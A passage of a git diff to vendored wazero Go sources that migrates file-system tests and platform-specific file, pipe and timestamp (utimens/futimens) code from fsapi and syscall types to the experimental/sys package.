(experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(mapFS, name, experimentalsys.O_RDONLY, 0) + }}, + {name: "osFile", openFile: func(name string) (experimentalsys.File, experimentalsys.Errno) { + return OpenOSFile(path.Join(tmpDir, name), experimentalsys.O_RDONLY, 0o666) + }}, } buf := make([]byte, 3) @@ -448,19 +512,19 @@ func TestFileSeek(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0) + f, errno := tc.openFile(wazeroFile) require.EqualErrno(t, 0, errno) defer f.Close() // Shouldn't be able to use an invalid whence _, errno = f.Seek(0, io.SeekEnd+1) - require.EqualErrno(t, syscall.EINVAL, errno) + require.EqualErrno(t, experimentalsys.EINVAL, errno) _, errno = f.Seek(0, -1) - require.EqualErrno(t, syscall.EINVAL, errno) + require.EqualErrno(t, experimentalsys.EINVAL, errno) // Shouldn't be able to seek before the file starts. _, errno = f.Seek(-1, io.SeekStart) - require.EqualErrno(t, syscall.EINVAL, errno) + require.EqualErrno(t, experimentalsys.EINVAL, errno) requireRead(t, f, buf) // read 3 bytes @@ -491,32 +555,41 @@ func TestFileSeek(t *testing.T) { require.Equal(t, "o\n", string(buf[:2])) t.Run("directory seek to zero", func(t *testing.T) { - d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0) + dotF, errno := tc.openFile(".") require.EqualErrno(t, 0, errno) - defer d.Close() + defer dotF.Close() - _, errno = d.Seek(0, io.SeekStart) + dirents, errno := dotF.Readdir(-1) require.EqualErrno(t, 0, errno) - }) - }) - } + direntCount := len(dirents) + require.False(t, direntCount == 0) - t.Run("os.File directory seek to zero", func(t *testing.T) { - d := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666) - defer d.Close() + // rewind via seek to zero + newOffset, errno := dotF.Seek(0, io.SeekStart) + require.EqualErrno(t, 0, errno) + require.Zero(t, newOffset) - _, errno := d.Seek(0, io.SeekStart) - require.EqualErrno(t, 0, errno) - }) + // redundantly seek to zero again + newOffset, errno = dotF.Seek(0, io.SeekStart) + require.EqualErrno(t, 0, errno) + require.Zero(t, newOffset) - seekToZero := func(f fsapi.File) syscall.Errno { - _, errno := f.Seek(0, io.SeekStart) - return errno + // We should be able to read again + dirents, errno = dotF.Readdir(-1) + require.EqualErrno(t, 0, errno) + require.Equal(t, direntCount, len(dirents)) + }) + + seekToZero := func(f experimentalsys.File) experimentalsys.Errno { + _, errno := f.Seek(0, io.SeekStart) + return errno + } + testEBADFIfFileClosed(t, seekToZero) + }) } - testEBADFIfFileClosed(t, seekToZero) } -func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 { +func requireSeek(t *testing.T, f experimentalsys.File, off int64, whence int) int64 { n, errno := f.Seek(off, whence) require.EqualErrno(t, 0, errno) return n @@ -538,7 +611,7 @@ func TestFileSeek_empty(t *testing.T) { tc := tc t.Run(tc.name, func(t *testing.T) { - f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(tc.fs, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() @@ -561,19 +634,19 @@ func TestFileSeek_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0) + f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer f.Close() _, errno = f.Seek(0, io.SeekCurrent) - require.EqualErrno(t, syscall.ENOSYS, errno) + require.EqualErrno(t, experimentalsys.ENOSYS, errno) } func TestFileWriteAndPwrite(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), wazeroFile) - f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() text := "wazero" @@ -610,36 +683,36 @@ func TestFileWriteAndPwrite(t *testing.T) { require.Equal(t, "wazerowazeroero", string(b)) } -func requireWrite(t *testing.T, f fsapi.File, buf []byte) { +func requireWrite(t *testing.T, f experimentalsys.File, buf []byte) { n, errno := f.Write(buf) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } -func requirePwrite(t *testing.T, f fsapi.File, buf []byte, off int64) { +func requirePwrite(t *testing.T, f experimentalsys.File, buf []byte, off int64) { n, errno := f.Pwrite(buf, off) require.EqualErrno(t, 0, errno) require.Equal(t, len(buf), n) } func TestFileWrite_empty(t *testing.T) { - // fsapi.FS doesn't support writes, and there is no other built-in + // sys.FS doesn't support writes, and there is no other built-in // implementation except os.File. path := path.Join(t.TempDir(), emptyFile) - f := requireOpenFile(t, path, syscall.O_RDWR|os.O_CREATE, 0o600) + f := requireOpenFile(t, path, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, syscall.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite from zero", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) { + {name: "Pwrite from zero", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, - {name: "Pwrite from 3", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) { + {name: "Pwrite from 3", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 3) }}, } @@ -666,19 +739,19 @@ func TestFileWrite_Unsupported(t *testing.T) { embedFS, err := fs.Sub(testdata, "testdata") require.NoError(t, err) - // Use syscall.O_RDWR so that it fails due to type not flags - f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, syscall.O_RDWR, 0) + // Use sys.O_RDWR so that it fails due to type not flags + f, errno := OpenFSFile(&maskFS{embedFS}, wazeroFile, experimentalsys.O_RDWR, 0) require.EqualErrno(t, 0, errno) defer f.Close() tests := []struct { name string - fn func(fsapi.File, []byte) (int, syscall.Errno) + fn func(experimentalsys.File, []byte) (int, experimentalsys.Errno) }{ - {name: "Write", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) { + {name: "Write", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Write(buf) }}, - {name: "Pwrite", fn: func(f fsapi.File, buf []byte) (int, syscall.Errno) { + {name: "Pwrite", fn: func(f experimentalsys.File, buf []byte) (int, experimentalsys.Errno) { return f.Pwrite(buf, 0) }}, } @@ -690,7 +763,7 @@ func TestFileWrite_Unsupported(t *testing.T) { t.Run(tc.name, func(t *testing.T) { _, errno := tc.fn(f, buf) - require.EqualErrno(t, syscall.ENOSYS, errno) + require.EqualErrno(t, experimentalsys.ENOSYS, errno) }) } } @@ -703,20 +776,20 @@ func TestFileWrite_Errors(t *testing.T) { require.NoError(t, of.Close()) // Open the file read-only - flag := syscall.O_RDONLY + flag := experimentalsys.O_RDONLY f := requireOpenFile(t, path, flag, 0o600) defer f.Close() buf := []byte("wazero") tests := []struct { name string - fn func(fsapi.File) syscall.Errno + fn func(experimentalsys.File) experimentalsys.Errno }{ - {name: "Write", fn: func(f fsapi.File) syscall.Errno { + {name: "Write", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Write(buf) return errno }}, - {name: "Pwrite", fn: func(f fsapi.File) syscall.Errno { + {name: "Pwrite", fn: func(f experimentalsys.File) experimentalsys.Errno { _, errno := f.Pwrite(buf, 0) return errno }}, @@ -729,7 +802,7 @@ func TestFileWrite_Errors(t *testing.T) { t.Run("EBADF when not open for writing", func(t *testing.T) { // The descriptor exists, but not open for writing errno := tc.fn(f) - require.EqualErrno(t, syscall.EBADF, errno) + require.EqualErrno(t, experimentalsys.EBADF, errno) }) testEISDIR(t, tc.fn) }) @@ -737,30 +810,30 @@ func TestFileWrite_Errors(t *testing.T) { } func TestFileSync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Sync) + testSync_NoError(t, experimentalsys.File.Sync) } func TestFileDatasync_NoError(t *testing.T) { - testSync_NoError(t, fsapi.File.Datasync) + testSync_NoError(t, experimentalsys.File.Datasync) } -func testSync_NoError(t *testing.T, sync func(fsapi.File) syscall.Errno) { +func testSync_NoError(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { roPath := "file_test.go" - ro, errno := OpenFSFile(embedFS, roPath, syscall.O_RDONLY, 0) + ro, errno := OpenFSFile(embedFS, roPath, experimentalsys.O_RDONLY, 0) require.EqualErrno(t, 0, errno) defer ro.Close() rwPath := path.Join(t.TempDir(), "datasync") - rw, errno := OpenOSFile(rwPath, syscall.O_CREAT|syscall.O_RDWR, 0o600) + rw, errno := OpenOSFile(rwPath, experimentalsys.O_CREAT|experimentalsys.O_RDWR, 0o600) require.EqualErrno(t, 0, errno) defer rw.Close() tests := []struct { name string - f fsapi.File + f experimentalsys.File }{ - {name: "UnimplementedFile", f: fsapi.UnimplementedFile{}}, - {name: "File of read-only fs.File", f: ro}, + {name: "UnimplementedFile", f: experimentalsys.UnimplementedFile{}}, + {name: "File of read-only FS.File", f: ro}, {name: "File of os.File", f: rw}, } @@ -774,20 +847,20 @@ func testSync_NoError(t *testing.T, sync func(fsapi.File) syscall.Errno) { } func TestFileSync(t *testing.T) { - testSync(t, fsapi.File.Sync) + testSync(t, experimentalsys.File.Sync) } func TestFileDatasync(t *testing.T) { - testSync(t, fsapi.File.Datasync) + testSync(t, experimentalsys.File.Datasync) } // testSync doesn't guarantee sync works because the operating system may // sync anyway. There is no test in Go for syscall.Fdatasync, but closest is // similar to below. Effectively, this only tests that things don't error. -func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) { +func testSync(t *testing.T, sync func(experimentalsys.File) experimentalsys.Errno) { // Even though it is invalid, try to sync a directory dPath := t.TempDir() - d := requireOpenFile(t, dPath, syscall.O_RDONLY, 0) + d := requireOpenFile(t, dPath, experimentalsys.O_RDONLY, 0) defer d.Close() errno := sync(d) @@ -795,7 +868,7 @@ func testSync(t *testing.T, sync func(fsapi.File) syscall.Errno) { fPath := path.Join(dPath, t.Name()) - f := requireOpenFile(t, fPath, syscall.O_RDWR|os.O_CREATE, 0o600) + f := requireOpenFile(t, fPath, experimentalsys.O_RDWR|experimentalsys.O_CREAT, 0o600) defer f.Close() expected := "hello world!" @@ -876,7 +949,7 @@ func TestFileTruncate(t *testing.T) { }) } - truncateToZero := func(f fsapi.File) syscall.Errno { + truncateToZero := func(f experimentalsys.File) experimentalsys.Errno { return f.Truncate(0) } @@ -894,7 +967,7 @@ func TestFileTruncate(t *testing.T) { defer f.Close() errno := f.Truncate(-1) - require.EqualErrno(t, syscall.EINVAL, errno) + require.EqualErrno(t, experimentalsys.EINVAL, errno) }) } @@ -903,7 +976,7 @@ func TestFileUtimens(t *testing.T) { case "linux", "darwin": // supported case "freebsd": // TODO: support freebsd w/o CGO case "windows": - if !platform.IsGo120 { + if !platform.IsAtLeastGo120 { t.Skip("windows only works after Go 1.20") // TODO: possibly 1.19 ;) } default: // expect ENOSYS and callers need to fall back to Utimens @@ -912,11 +985,11 @@ func TestFileUtimens(t *testing.T) { testUtimens(t, true) - testEBADFIfFileClosed(t, func(f fsapi.File) syscall.Errno { - return f.Utimens(nil) + testEBADFIfFileClosed(t, func(f experimentalsys.File) experimentalsys.Errno { + return f.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) - testEBADFIfDirClosed(t, func(d fsapi.File) syscall.Errno { - return d.Utimens(nil) + testEBADFIfDirClosed(t, func(d experimentalsys.File) experimentalsys.Errno { + return d.Utimens(experimentalsys.UTIME_OMIT, experimentalsys.UTIME_OMIT) }) } @@ -944,7 +1017,7 @@ func TestNewStdioFile(t *testing.T) { tests := []struct { name string - f fsapi.File + f experimentalsys.File // Depending on how the tests run, os.Stdin won't necessarily be a char // device. We compare against an os.File, to account for this. expectedType fs.FileMode @@ -989,18 +1062,18 @@ func TestNewStdioFile(t *testing.T) { } } -func testEBADFIfDirClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool { +func testEBADFIfDirClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if dir closed", func(t *testing.T) { - d := requireOpenFile(t, t.TempDir(), syscall.O_RDONLY, 0o755) + d := requireOpenFile(t, t.TempDir(), experimentalsys.O_RDONLY, 0o755) // close the directory underneath require.EqualErrno(t, 0, d.Close()) - require.EqualErrno(t, syscall.EBADF, fn(d)) + require.EqualErrno(t, experimentalsys.EBADF, fn(d)) }) } -func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool { +func testEBADFIfFileClosed(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EBADF if file closed", func(t *testing.T) { tmpDir := t.TempDir() @@ -1009,28 +1082,28 @@ func testEBADFIfFileClosed(t *testing.T, fn func(fsapi.File) syscall.Errno) bool // close the file underneath require.EqualErrno(t, 0, f.Close()) - require.EqualErrno(t, syscall.EBADF, fn(f)) + require.EqualErrno(t, experimentalsys.EBADF, fn(f)) }) } -func testEISDIR(t *testing.T, fn func(fsapi.File) syscall.Errno) bool { +func testEISDIR(t *testing.T, fn func(experimentalsys.File) experimentalsys.Errno) bool { return t.Run("EISDIR if directory", func(t *testing.T) { - f := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666) + f := requireOpenFile(t, os.TempDir(), experimentalsys.O_RDONLY|experimentalsys.O_DIRECTORY, 0o666) defer f.Close() - require.EqualErrno(t, syscall.EISDIR, fn(f)) + require.EqualErrno(t, experimentalsys.EISDIR, fn(f)) }) } -func openForWrite(t *testing.T, path string, content []byte) fsapi.File { +func openForWrite(t *testing.T, path string, content []byte) experimentalsys.File { require.NoError(t, os.WriteFile(path, content, 0o0666)) - f := requireOpenFile(t, path, syscall.O_RDWR, 0o666) + f := requireOpenFile(t, path, experimentalsys.O_RDWR, 0o666) _, errno := f.Write(content) require.EqualErrno(t, 0, errno) return f } -func requireOpenFile(t *testing.T, path string, flag int, perm fs.FileMode) fsapi.File { +func requireOpenFile(t *testing.T, path string, flag experimentalsys.Oflag, perm fs.FileMode) experimentalsys.File { f, errno := OpenOSFile(path, flag, perm) require.EqualErrno(t, 0, errno) return f diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go index e451df820b..f56439e081 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unix.go @@ -5,17 +5,35 @@ package sysfs import ( "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -const NonBlockingFileIoSupported = true +const ( + nonBlockingFileReadSupported = true + nonBlockingFileWriteSupported = true +) + +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} // readFd exposes syscall.Read. -func readFd(fd uintptr, buf []byte) (int, syscall.Errno) { +func readFd(fd uintptr, buf []byte) (int, sys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. } n, err := syscall.Read(int(fd), buf) - errno := platform.UnwrapOSError(err) + errno := sys.UnwrapOSError(err) + return n, errno +} + +// writeFd exposes syscall.Write. +func writeFd(fd uintptr, buf []byte) (int, sys.Errno) { + if len(buf) == 0 { + return 0, 0 // Short-circuit 0-len writes. + } + n, err := syscall.Write(int(fd), buf) + errno := sys.UnwrapOSError(err) return n, errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go index cb4bddb339..54e224bbf9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_unsupported.go @@ -1,12 +1,28 @@ -//go:build !unix && !linux && !darwin +//go:build !unix && !linux && !darwin && !windows package sysfs -import "syscall" +import ( + "os" -const NonBlockingFileIoSupported = false + "github.com/tetratelabs/wazero/experimental/sys" +) + +const ( + nonBlockingFileReadSupported = false + nonBlockingFileWriteSupported = false +) + +func rmdir(path string) sys.Errno { + return sys.UnwrapOSError(os.Remove(path)) +} // readFd returns ENOSYS on unsupported platforms. -func readFd(fd uintptr, buf []byte) (int, syscall.Errno) { - return -1, syscall.ENOSYS +func readFd(fd uintptr, buf []byte) (int, sys.Errno) { + return -1, sys.ENOSYS +} + +// writeFd returns ENOSYS on unsupported platforms. +func writeFd(fd uintptr, buf []byte) (int, sys.Errno) { + return -1, sys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go new file mode 100644 index 0000000000..3ad9648e65 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file_windows.go @@ -0,0 +1,88 @@ +package sysfs + +import ( + "syscall" + "unsafe" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +const ( + nonBlockingFileReadSupported = true + nonBlockingFileWriteSupported = false +) + +var kernel32 = syscall.NewLazyDLL("kernel32.dll") + +// procPeekNamedPipe is the syscall.LazyProc in kernel32 for PeekNamedPipe +var procPeekNamedPipe = kernel32.NewProc("PeekNamedPipe") + +// readFd returns ENOSYS on unsupported platforms. +// +// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe +// "GetFileType can assist in determining what device type the handle refers to. A console handle presents as FILE_TYPE_CHAR." +// https://learn.microsoft.com/en-us/windows/console/console-handles +func readFd(fd uintptr, buf []byte) (int, sys.Errno) { + handle := syscall.Handle(fd) + fileType, err := syscall.GetFileType(handle) + if err != nil { + return 0, sys.UnwrapOSError(err) + } + if fileType&syscall.FILE_TYPE_CHAR == 0 { + return -1, sys.ENOSYS + } + n, errno := peekNamedPipe(handle) + if errno == syscall.ERROR_BROKEN_PIPE { + return 0, 0 + } + if n == 0 { + return -1, sys.EAGAIN + } + un, err := syscall.Read(handle, buf[0:n]) + return un, sys.UnwrapOSError(err) +} + +func writeFd(fd uintptr, buf []byte) (int, sys.Errno) { + return -1, sys.ENOSYS +} + +func readSocket(h syscall.Handle, buf []byte) (int, sys.Errno) { + var overlapped syscall.Overlapped + var done uint32 + errno := syscall.ReadFile(h, buf, &done, &overlapped) + if errno == syscall.ERROR_IO_PENDING { + errno = sys.EAGAIN + } + return int(done), sys.UnwrapOSError(errno) +} + +func writeSocket(fd uintptr, buf []byte) (int, sys.Errno) { + var done uint32 + var overlapped syscall.Overlapped + errno := syscall.WriteFile(syscall.Handle(fd), buf, &done, &overlapped) + if errno == syscall.ERROR_IO_PENDING { + errno = syscall.EAGAIN + } + return int(done), sys.UnwrapOSError(errno) +} + +// peekNamedPipe partially exposes PeekNamedPipe from the Win32 API +// see https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe +func peekNamedPipe(handle syscall.Handle) (uint32, syscall.Errno) { + var totalBytesAvail uint32 + totalBytesPtr := unsafe.Pointer(&totalBytesAvail) + _, _, errno := syscall.SyscallN( + procPeekNamedPipe.Addr(), + uintptr(handle), // [in] HANDLE hNamedPipe, + 0, // [out, optional] LPVOID lpBuffer, + 0, // [in] DWORD nBufferSize, + 0, // [out, optional] LPDWORD lpBytesRead + uintptr(totalBytesPtr), // [out, optional] LPDWORD lpTotalBytesAvail, + 0) // [out, optional] LPDWORD lpBytesLeftThisMessage + return totalBytesAvail, errno +} + +func rmdir(path string) sys.Errno { + err := syscall.Rmdir(path) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go index 1c2bceadc4..1f670ca116 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens.go @@ -1,132 +1,37 @@ +//go:build linux || darwin + package sysfs import ( "syscall" - "time" "unsafe" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" -) - -const ( - // UTIME_NOW is a special syscall.Timespec NSec value used to set the - // file's timestamp to a value close to, but not greater than the current - // system time. - UTIME_NOW = _UTIME_NOW - - // UTIME_OMIT is a special syscall.Timespec NSec value used to avoid - // setting the file's timestamp. - UTIME_OMIT = _UTIME_OMIT + "github.com/tetratelabs/wazero/experimental/sys" ) -// Utimens set file access and modification times on a path resolved to the -// current working directory, at nanosecond precision. -// -// # Parameters -// -// The `times` parameter includes the access and modification timestamps to -// assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be -// specified instead of real timestamps. A nil `times` parameter behaves the -// same as if both were set to UTIME_NOW. -// -// When the `symlinkFollow` parameter is true and the path is a symbolic link, -// the target of expanding that link is updated. -// -// # Errors -// -// A zero syscall.Errno is success. The below are expected otherwise: -// - syscall.ENOSYS: the implementation does not support this function. -// - syscall.EINVAL: `path` is invalid. -// - syscall.EEXIST: `path` exists and is a directory. -// - syscall.ENOTDIR: `path` exists and is a file. -// -// # Notes -// -// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in -// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html -func Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno { - err := utimens(path, times, symlinkFollow) - return platform.UnwrapOSError(err) -} - -var _zero uintptr //nolint:unused - func timesToPtr(times *[2]syscall.Timespec) unsafe.Pointer { //nolint:unused - var _p0 unsafe.Pointer if times != nil { - _p0 = unsafe.Pointer(×[0]) - } else { - _p0 = unsafe.Pointer(&_zero) + return unsafe.Pointer(×[0]) } - return _p0 + return unsafe.Pointer(nil) } -func utimensPortable(path string, times *[2]syscall.Timespec, symlinkFollow bool) error { //nolint:unused - if !symlinkFollow { - return syscall.ENOSYS - } - - // Handle when both inputs are current system time. - if times == nil || times[0].Nsec == UTIME_NOW && times[1].Nsec == UTIME_NOW { - ts := nowTimespec() - return syscall.UtimesNano(path, []syscall.Timespec{ts, ts}) - } - +func timesToTimespecs(atim int64, mtim int64) (times *[2]syscall.Timespec) { // When both inputs are omitted, there is nothing to change. - if times[0].Nsec == UTIME_OMIT && times[1].Nsec == UTIME_OMIT { - return nil - } - - // Handle when neither input are special values - if times[0].Nsec != UTIME_NOW && times[1].Nsec != UTIME_NOW && - times[0].Nsec != UTIME_OMIT && times[1].Nsec != UTIME_OMIT { - return syscall.UtimesNano(path, times[:]) + if atim == sys.UTIME_OMIT && mtim == sys.UTIME_OMIT { + return } - // Now, either atim or mtim is a special value, but not both. - - // Now, either one of the inputs is a special value, or neither. This means - // we don't have a risk of re-reading the clock or re-doing stat. - if atim, err := normalizeTimespec(path, times, 0); err != 0 { - return err - } else if mtim, err := normalizeTimespec(path, times, 1); err != 0 { - return err + times = &[2]syscall.Timespec{} + if atim == sys.UTIME_OMIT { + times[0] = syscall.Timespec{Nsec: _UTIME_OMIT} + times[1] = syscall.NsecToTimespec(mtim) + } else if mtim == sys.UTIME_OMIT { + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.Timespec{Nsec: _UTIME_OMIT} } else { - return syscall.UtimesNano(path, []syscall.Timespec{atim, mtim}) - } -} - -func normalizeTimespec(path string, times *[2]syscall.Timespec, i int) (ts syscall.Timespec, err syscall.Errno) { //nolint:unused - switch times[i].Nsec { - case UTIME_NOW: // declined in Go per golang/go#31880. - ts = nowTimespec() - return - case UTIME_OMIT: - // UTIME_OMIT is expensive until progress is made in Go, as it requires a - // stat to read-back the value to re-apply. - // - https://github.com/golang/go/issues/32558. - // - https://go-review.googlesource.com/c/go/+/219638 (unmerged) - var st fsapi.Stat_t - if st, err = stat(path); err != 0 { - return - } - switch i { - case 0: - ts = syscall.NsecToTimespec(st.Atim) - case 1: - ts = syscall.NsecToTimespec(st.Mtim) - default: - panic("BUG") - } - return - default: // not special - ts = times[i] - return + times[0] = syscall.NsecToTimespec(atim) + times[1] = syscall.NsecToTimespec(mtim) } -} - -func nowTimespec() syscall.Timespec { //nolint:unused - now := time.Now().UnixNano() - return syscall.NsecToTimespec(now) + return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go index f4ede33778..88e4008f0a 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_darwin.go @@ -2,38 +2,40 @@ package sysfs import ( "syscall" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( - _AT_FDCWD = -0x2 - _AT_SYMLINK_NOFOLLOW = 0x0020 - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = true + _AT_FDCWD = -0x2 + _AT_SYMLINK_NOFOLLOW = 0x0020 + _UTIME_OMIT = -2 ) //go:noescape //go:linkname utimensat syscall.utimensat func utimensat(dirfd int, path string, times *[2]syscall.Timespec, flags int) error -func utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) error { - var flags int - if !symlinkFollow { - flags = _AT_SYMLINK_NOFOLLOW +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 } - return utimensat(_AT_FDCWD, path, times, flags) + var flags int + return experimentalsys.UnwrapOSError(utimensat(_AT_FDCWD, path, times, flags)) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } _p0 := timesToPtr(times) // Warning: futimens only exists since High Sierra (10.13). _, _, e1 := syscall_syscall6(libc_futimens_trampoline_addr, fd, uintptr(_p0), 0, 0, 0, 0) - if e1 != 0 { - return e1 - } - return nil + return experimentalsys.UnwrapOSError(e1) } // libc_futimens_trampoline_addr is the address of the diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go index a7ae264d2b..3ec68537be 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_linux.go @@ -3,34 +3,38 @@ package sysfs import ( "syscall" "unsafe" - _ "unsafe" // for go:linkname + _ "unsafe" + + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" ) const ( - _AT_FDCWD = -0x64 - _AT_SYMLINK_NOFOLLOW = 0x100 - _UTIME_NOW = (1 << 30) - 1 - _UTIME_OMIT = (1 << 30) - 2 - SupportsSymlinkNoFollow = true + _AT_FDCWD = -0x64 + _UTIME_OMIT = (1 << 30) - 2 ) -func utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) (err error) { - var flags int - if !symlinkFollow { - flags = _AT_SYMLINK_NOFOLLOW +func utimens(path string, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 } + var flags int var _p0 *byte - _p0, err = syscall.BytePtrFromString(path) - if err != nil { - return + _p0, err := syscall.BytePtrFromString(path) + if err == nil { + err = utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) } - return utimensat(_AT_FDCWD, uintptr(unsafe.Pointer(_p0)), times, flags) + return experimentalsys.UnwrapOSError(err) } // On linux, implement futimens via utimensat with the NUL path. -func futimens(fd uintptr, times *[2]syscall.Timespec) error { - return utimensat(int(fd), 0 /* NUL */, times, 0) +func futimens(fd uintptr, atim, mtim int64) experimentalsys.Errno { + times := timesToTimespecs(atim, mtim) + if times == nil { + return 0 + } + return experimentalsys.UnwrapOSError(utimensat(int(fd), 0 /* NUL */, times, 0)) } // utimensat is like syscall.utimensat special-cased to accept a NUL string for the path value. diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go index 60860e6c48..c78a16b407 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_unsupported.go @@ -2,22 +2,17 @@ package sysfs -import "syscall" - -// Define values even if not used except as sentinels. -const ( - _UTIME_NOW = -1 - _UTIME_OMIT = -2 - SupportsSymlinkNoFollow = false +import ( + "github.com/tetratelabs/wazero/experimental/sys" ) -func utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) error { - return utimensPortable(path, times, symlinkFollow) +func utimens(path string, atim, mtim int64) sys.Errno { + return chtimes(path, atim, mtim) } -func futimens(fd uintptr, times *[2]syscall.Timespec) error { +func futimens(fd uintptr, atim, mtim int64) error { // Go exports syscall.Futimes, which is microsecond granularity, and // WASI tests expect nanosecond. We don't yet have a way to invoke the // futimens syscall portably. - return syscall.ENOSYS + return sys.ENOSYS } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/futimens_windows.go 